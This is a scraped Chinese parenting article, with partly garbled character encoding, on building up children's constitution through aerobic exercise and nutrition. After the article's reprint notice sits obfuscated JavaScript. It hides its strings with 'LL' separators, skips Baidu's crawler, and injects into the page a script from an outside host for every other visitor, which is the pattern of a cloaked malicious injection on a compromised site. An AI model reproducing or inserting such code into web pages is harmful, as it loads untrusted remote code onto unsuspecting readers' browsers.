當(dāng)前位置:首頁(yè) > 母嬰 > 育兒知識(shí) > 正文

怎樣才能增強(qiáng)孩子體質(zhì)呢

2017-04-09 06:35:09  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):由于孩子的很多免疫能力尚未發(fā)育完全,所以孩子的體質(zhì)會(huì)比較弱,而體質(zhì)弱會(huì)導(dǎo)致很多病毒的侵?jǐn)_,這樣孩子是非常容易生病的。所以,家長(zhǎng)們都

由于孩子的很多免疫能力尚未發(fā)育完全,所以孩子的體質(zhì)會(huì)比較弱,而體質(zhì)弱會(huì)導(dǎo)致很多病毒的侵?jǐn)_,這樣孩子是非常容易生病的。所以,家長(zhǎng)們都想法設(shè)法的增強(qiáng)孩子的體質(zhì)。那么怎樣才能增強(qiáng)孩子體質(zhì)呢?讓我們通過(guò)以下文章內(nèi)容詳細(xì)的了解一下吧。

竇教授說(shuō),有氧代謝運(yùn)動(dòng)的核心概念是平衡,平衡是健康之本,這包括機(jī)體動(dòng)與靜的平衡,心理上緊張與松弛的平衡,以及新陳代謝的平衡。有氧運(yùn)動(dòng)對(duì)體質(zhì)的改善作用,主要體現(xiàn)在以下幾點(diǎn):

1.增加血液總量。氧氣在體內(nèi)是隨血液供應(yīng)到各部位的,血量提高也就相應(yīng)增強(qiáng)了氧氣的輸送能力。

2.增強(qiáng)肺功能。有氧代謝使鍛煉者的呼吸加快,從而提高肺活量,提高吸入氧氣的能力。

3.改善心臟功能,防止心臟病的發(fā)生。有氧代謝運(yùn)動(dòng)使心肌強(qiáng)壯,每次排出更多的血液,并且提高血液中對(duì)冠心病有預(yù)防作用的高密度脂蛋白的比例。

4.增加骨骼密度,防止骨質(zhì)疏松。隨著年齡增長(zhǎng),人體骨骼中的鈣漸漸減少,因此老年人容易骨折,有氧代謝運(yùn)動(dòng)可有效防止鈣的損失。

5.減少體內(nèi)脂肪,預(yù)防與肥胖有關(guān)的疾病。

6.改善心理狀態(tài),增加應(yīng)付生活中各種壓力的能力。一個(gè)人在缺少運(yùn)動(dòng)時(shí),常感到疲勞、情緒抑郁、記憶力減退,甚至喪失工作興趣。有氧代謝運(yùn)動(dòng)可扭轉(zhuǎn)這種狀態(tài),使人情緒飽滿,精神放松。

怎樣才能增強(qiáng)孩子體質(zhì)呢?讀了以上的文章內(nèi)容,相信您已經(jīng)有了一定的了解。家長(zhǎng)們一定要注意孩子營(yíng)養(yǎng)的補(bǔ)充,督促孩子多加運(yùn)動(dòng),多加運(yùn)動(dòng)可以提高孩子的體質(zhì),讓孩子少患病,而且可以促進(jìn)骨骼生長(zhǎng),但是在運(yùn)動(dòng)的過(guò)程中一定要小心。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}